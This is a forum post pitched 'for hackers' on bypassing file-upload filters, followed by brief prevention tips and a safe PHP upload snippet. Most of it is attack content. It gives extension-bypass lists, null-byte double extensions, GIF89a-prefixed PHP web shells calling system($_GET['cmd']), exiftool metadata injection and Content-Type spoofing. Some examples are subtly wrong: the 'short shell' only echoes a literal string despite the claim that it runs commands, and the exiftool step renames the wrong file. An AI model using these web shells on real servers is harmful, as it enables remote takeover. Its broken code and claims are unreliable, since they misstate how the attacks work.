File Upload Vulnerabilities Guide for Hackers

x32x01
  • by x32x01 ||
Understanding File Upload Vulnerabilities in Modern Web Applications 🚨
Dynamic websites today rely heavily on file uploads - profile pictures, documents, audio, videos, reports, and more. Platforms like Facebook, LinkedIn, and many others allow users to upload images and files every day. But behind this helpful feature lies one of the most dangerous security risks: Unrestricted File Upload Vulnerabilities.

This vulnerability can allow attackers to bypass restrictions, upload malicious files, gain remote access, execute commands, and even fully compromise a server. In this article, we’re going to break down - in a simple and beginner-friendly way - how attackers bypass upload filters, what web shells actually do, and how these techniques work in real attacks. 😈💻



What Is a Web Shell and Why Is It Dangerous? 🐚⚠️

A web shell is a script uploaded to a website that gives an attacker remote control over the server. It allows dangerous operations like:
  • Executing system commands
  • Creating or deleting files
  • Uploading or downloading data
  • Taking full control of the server
Attackers usually use languages supported by the target server such as PHP, ASP, JSP, or Perl.

The scary part?
Sometimes the attacker can upload a reverse shell without bypassing anything, simply because the upload function is poorly secured.



Blacklisting vs Whitelisting - And How Hackers Break Both 🕵️‍♂️🔥

Web developers usually rely on two basic filtering methods:
  • Blacklisting: Blocking dangerous extensions
  • Whitelisting: Allowing only specific extensions
But both can be bypassed easily.



Bypassing Blacklist Filters 🎭

A blacklist blocks certain extensions like .php or .asp. Developers assume this keeps attackers safe. Spoiler: it doesn’t.

1. Using Alternate Extensions

Many languages support multiple valid extensions:
Common Web Shell Extensions Attackers Use:
LanguageDangerous Extensions
PHP.php, .phtml, .pht, .php3, .php4, .php5, .inc
JSP.jsp, .jspx, .jsw, .jsv, .jspf
Perl.pl, .pm, .cgi
ASP.asp, .aspx
ColdFusion.cfm, .cfc, .cfml

Even worse, some servers treat case variations as valid shells:
Code:
.pHp
.PhP
.phP
These pass many basic filters.



Bypassing Whitelist Filters 🧠🔓

Whitelisting is theoretically safer:
“You can only upload JPG, PNG, or GIF.”
But attackers can still trick the server.

1. Double Extension Attack

Apache and many servers accept files with double extensions:
Code:
shell.php.png
shell.php%00.png
shell.php\x00.jpg
If the server stores them as shell.php, BOOM - remote code execution.

2. Fake Image Header Trick (GIF89a Exploit) 🖼️🐍

If the upload system checks only header signatures, attackers add a fake GIF header:
Code:
GIF89a; <?php system($_GET['cmd']); ?>
or
Code:
GIF89a;
<?php
system($_GET['cmd']); // web shell payload
?>
The system thinks it’s an image… the server executes it as PHP.

3. Hiding Shellcode Inside EXIF Metadata 📸🧬

EXIF data is metadata stored inside images.
Attackers inject PHP code inside this metadata:
Code:
exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' file.png
mv image.jpg image.php.png
When the server processes the EXIF data, the shell executes.



Bypassing MIME-Type Validation 🏷️🛑➡️🟢

Some servers verify the Content-Type header during upload.

A normal PHP file might show:
Code:
Content-type: application/x-php

Attackers intercept the request (via Burp Suite or similar tool):
Code:
Content-type: image/jpeg
Now the server thinks it’s an image - even though it’s malicious code.



Other Advanced Bypassing Techniques 🧩💡

Sometimes upload filters limit content length or scan for dangerous keywords.
Attackers respond by shortening the payload.

Example of a super-short PHP shell:
Code:
<?='$_GET[x]'?>

This tiny code still executes commands:
Code:
?x=ls



Why File Upload Vulnerabilities Are Extremely Dangerous 🚨🔥

This vulnerability gives attackers a direct path to:
  • Full remote shell access
  • Database dumping
  • Defacing the website
  • Uploading ransomware
  • Pivoting to internal networks
  • Total server takeover
File upload vulnerabilities are one of OWASP’s most critical risks for a reason.



Basic Prevention Tips for Developers 🛡️👨‍💻

To secure your system:
✔ Validate file type by MIME and extension
✔ Check real file signatures (Magic Bytes)
✔ Store uploaded files outside the web root
✔ Rename uploaded files to safe names
✔ Disable execution permissions in upload folders
✔ Use strong whitelisting rules
✔ Scan files with antivirus engines
✔ Never trust client-side validation
Security is not about one filter - it’s about layers.​



Example of Secure File Upload Validation (PHP) 🔐👨‍💻

Here’s a simple safe upload snippet:
PHP:
$allowedTypes = ['image/jpeg', 'image/png'];
$detectedType = mime_content_type($_FILES['file']['tmp_name']);

if (!in_array($detectedType, $allowedTypes)) {
    die("Invalid file type.");
}

$uploadDir = '/var/www/uploads/';
$filename = uniqid() . '.png';

move_uploaded_file($_FILES['file']['tmp_name'], $uploadDir . $filename);
Of course, real-world security requires much more - but this is a good start.
 
Last edited:
Related Threads
x32x01
Replies
0
Views
269
x32x01
x32x01
x32x01
Replies
0
Views
1K
x32x01
x32x01
x32x01
Replies
0
Views
910
x32x01
x32x01
x32x01
Replies
0
Views
66
x32x01
x32x01
x32x01
Replies
0
Views
976
x32x01
x32x01
Register & Login Faster
Forgot your password?
Forum Statistics
Threads
660
Messages
668
Members
67
Latest Member
TraceySet
Back
Top